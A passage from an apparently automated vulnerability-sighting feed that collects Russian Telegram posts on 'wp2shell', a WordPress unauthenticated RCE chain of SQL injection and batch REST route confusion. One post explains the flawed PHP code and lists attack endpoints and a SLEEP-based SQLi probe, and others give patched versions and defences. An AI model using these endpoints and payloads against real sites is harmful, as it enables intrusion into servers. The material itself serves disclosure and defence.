\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u044b. \u0426\u0435\u043f\u043e\u0447\u043a\u0443 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 wp2shell, \u043e\u043d\u0430 \u0441\u043e\u0431\u0440\u0430\u043d\u0430 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c\u0438 CVE-2026-60137 \u0438 CVE-2026-63030. \u041f\u043e\u043b\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 WordPress 6.9.0\u20136.9.4 \u0438 7.0.0\u20137.0.1. \u041f\u0430\u0442\u0447\u0438 \u0443\u0436\u0435 \u0432\u044b\u0448\u043b\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 6.8.6, 6.9.5 \u0438 7.0.2.\n\n\u041a\u0440\u0430\u0441\u043e\u0442\u0430 \u0430\u0442\u0430\u043a\u0438 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u043e\u0439. \u041f\u0435\u0440\u0432\u0430\u044f - SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 WP_Query \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 author__not_in. \u0412\u0442\u043e\u0440\u0430\u044f - \u0441\u0431\u043e\u0439 \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 REST API /wp-json/batch/v1, \u0433\u0434\u0435 \u0447\u0435\u0440\u0435\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u043e\u0434\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0434\u0440\u0443\u0433\u043e\u0433\u043e. \u0422\u0430\u043a \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0435\u0437\u0436\u0430\u0435\u0442 \u0434\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430, \u0438 \u0434\u0432\u0435 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u0430\u0442\u0447\u0430 \u0447\u0435\u0440\u0435\u0437 \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0430 Cloudflare \u0441 17 \u0438\u044e\u043b\u044f \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 WAF \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 CVE. \u041d\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u0430\u0439\u0442\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e: \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041f\u0430\u0442\u0447 \u0443\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043f\u043e \u0440\u0430\u0437\u043d\u0438\u0446\u0435 \u043a\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442.\n\n#WordPress #wp2shell #RCE #CVE\n\n@ZerodayAlert", "url": "https://t.me/ZerodayAlert/771"}, {"timestamp": "2026-07-26T00:00:45.020Z", "date_only": false, "value": "2026-07-26T00:00:45.020591Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/78rRkV9G9ZzF_U6HjjkhFHbX-isEY1hINdQCqoBTXAOUubtj", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3ac1437a-9738-45a8-9c89-dd938a0e4fa2"}, {"timestamp": "2026-07-26T02:00:05.062Z", "date_only": false, "value": "2026-07-26T02:00:05.062065Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberwarehouse/1170", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "cb40ed59-9210-4650-93c2-285d62f347d6", "content": "wp2shell \u2014 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043e\u0442 \u0438 \u0434\u043e.\n\n\u042d\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432:\n\n\ud83d\udccd CVE-2026-63030 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0433\u043e REST API. CWE-436.\n\n\ud83d\udccd CVE-2026-60137 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL-\u043a\u043e\u0434\u0430 (SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f). CWE-89.\nwp2shell \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (RCE) \u0432 \u0421MS Wordpress. \u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: 6.8.0\u20136.8.5; 6.9.0\u20136.9.4; 7.0.0\u2013 7.0.1.\n\n\ud83e\udee1 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 serve_batch_request_v1, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a /wp-json/batch/v1.\n\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0434\u0432\u0430 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432: $requests[] (\u0441\u0430\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b) \u0438 $matches[] (\u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u043d\u0438\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438). \n\n\u0415\u0441\u043b\u0438 \u043f\u0443\u0442\u044c \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, http://), \u0444\u0443\u043d\u043a\u0446\u0438\u044f wp_parse_url() \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 false. \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 $validation[] \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0430 (WP_Error), \u043d\u043e \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 $matches[] \u043d\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 (\u0447\u0435\u0440\u0435\u0437 continue).\n\n\u041d\u0438\u0436\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0447\u0430\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f wp-includes/rest-api/class-wp-rest-server.php \nforeach ( $batch_request['requests'] as $args ) {\n            $parsed_url = wp_parse_url( $args['path'] );\n            if ( false === $parsed_url ) {\n                $requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) ); // \u0437\u0430\u043f\u0438\u0441\u044c \u043e\u0448\u0438\u0431\u043a\u0438 \u0434\u043b\u044f http:// \n\n                continue;\n            }\n\n            $single_request = new WP_REST_Request( $args['method'] ?? 'POST', $parsed_url['path'] );\n ....\n\n$matches    = array();\n$validation = array();\n$has_error  = false;\nforeach ( $requests as $single_request ) {\n    if ( is_wp_error( $single_request ) ) {\n        $has_error    = true;\n        $validation[] = $single_request;  \n        continue; // \u043f\u0440\u043e\u043f\u0443\u0441\u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 $matches[]\n    }\n\n\u0418\u0437-\u0437\u0430 continue \u043c\u0430\u0441\u0441\u0438\u0432\u044b $requests \u0438 $matches \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u043c. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\n\n\u0421\u0434\u0432\u0438\u0433 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u2192 \u041d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 continue \u2192 \u041c\u0430\u0441\u0441\u0438\u0432\u044b $requests \u0438 $matches \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u2192 \u0417\u0430\u043f\u0440\u043e\u0441\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0447\u0443\u0436\u0438\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u2192 \u0412\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 batch \u2192 \u0417\u0430\u043f\u0440\u043e\u0441 /wp/v2/posts \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a batch \u2192 \u0412\u043d\u0443\u0442\u0440\u0438 \u0441\u043d\u043e\u0432\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u0434\u0432\u0438\u0433 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u2192 \u0417\u0430\u043f\u0440\u043e\u0441 \u043a /categories?author_exclude=SLEEP(2) \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a /posts (\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442) -> SQLi.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQLi\nauthor_exclude \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0442\u0438\u043f\u0430 array \u0432 get_collection_params().\n\u0412 get_items() \u043e\u043d \u043c\u0430\u043f\u0438\u0442\u0441\u044f \u0432 author_not_in \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0442\u0438\u043f\u0430.\n\u0418\u0437-\u0437\u0430 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0441\u0442\u0440\u043e\u043a\u0430.\nWP_Query \u043d\u0435 \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f. \u0421\u0442\u0440\u043e\u043a\u0430 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 SQL.\n\nif (is_array($query_vars['author__not_in'])) {\n    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitize\n}\n$author__not_in = implode(',', (array) $query_vars['author__not_in']);\n$where .= \" AND post_author NOT IN ($author__not_in) \"\n\n\ud83e\udee1 \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438:\n\u0417\u0430\u043f\u0440\u043e\u0441:\n\u2013 POST /wordpress/batch/v1 + \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430\n\u2013 POST /?rest_route=/batch/v1 + \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \n\u2013 GET /?_method=POST&rest_route=/batch/v1&validation=normal + \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \nSQLi - \"path\": \"/wp/v2/ author_exclude=\n\n\u041f\u0440\u0438\u043c\u0435\u0440 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432\u00a0\u2014 \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435.\n\n\ud83e\udee1 \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c\u0441\u044f:\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2.\n2. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c WAF/IDS \u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u0438 \u043e\u0442 SQLi.\n3. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 php-\u0444\u0430\u0439\u043b\u043e\u0432.\n4. \u041f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0443\u0434\u0438\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0433\u0434\u0435 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u0438\u043b\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u043b /batch/v1.\n5. \u0412\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a /batch/v1 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0435\u0442\u0438.\n\n\ud83e\udee1 \u041b\u043e\u0432\u0438\u0442\u0435 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u0443\u044e \u2014 docker-compose.yml \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c wordpress \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d \u043a \u043f\u043e\u0441\u0442\u0443.\n\u0417\u0430\u043f\u0443\u0441\u043a docker-compose up.", "url": "https://t.me/cyberwarehouse/1170"}, {"timestamp": "2026-07-26T02:00:05.204Z", "date_only": false, "value": "2026-07-26T02:00:05.204662Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberwarehouse/1166", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "c122ac9e-4fab-4ef2-a659-ac1be9bc8528", "content": "\u0412 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u0440\u0430\u0441\u0448\u0430\u0440\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 wp2shell, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u044f\u0434\u0440\u043e WordPress. \u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 WordPress 6.9.5 \u0438 7.0.2 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a wp2shell.\n\n\u0410\u0442\u0430\u043a\u0430 wp2shell \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - CVE-2026-63030 \u0438 CVE-2026-60137, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.x \u0438 7.0.x.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0410\u0434\u0430\u043c\u043e\u043c \u041a\u0443\u044d\u0441\u043e\u043c \u0438\u0437 Searchlight Cyber, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0434\u043b\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0443 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0435\u0442 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439, \u0438 \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 WordPress \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.\n\n\u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0430\u043c Searchlight Cyber, \u0431\u043e\u043b\u0435\u0435 500 \u043c\u043b\u043d. \u0441\u0430\u0439\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 WordPress, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441\u0435\u0439\u0447\u0430\u0441, \u043a\u043e\u0433\u0434\u0430 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WordPress \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u0441 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438, \u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WordPress \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2 \u0438\u043b\u0438 6.9.5.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0432 \u0434\u0432\u0443\u0445 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 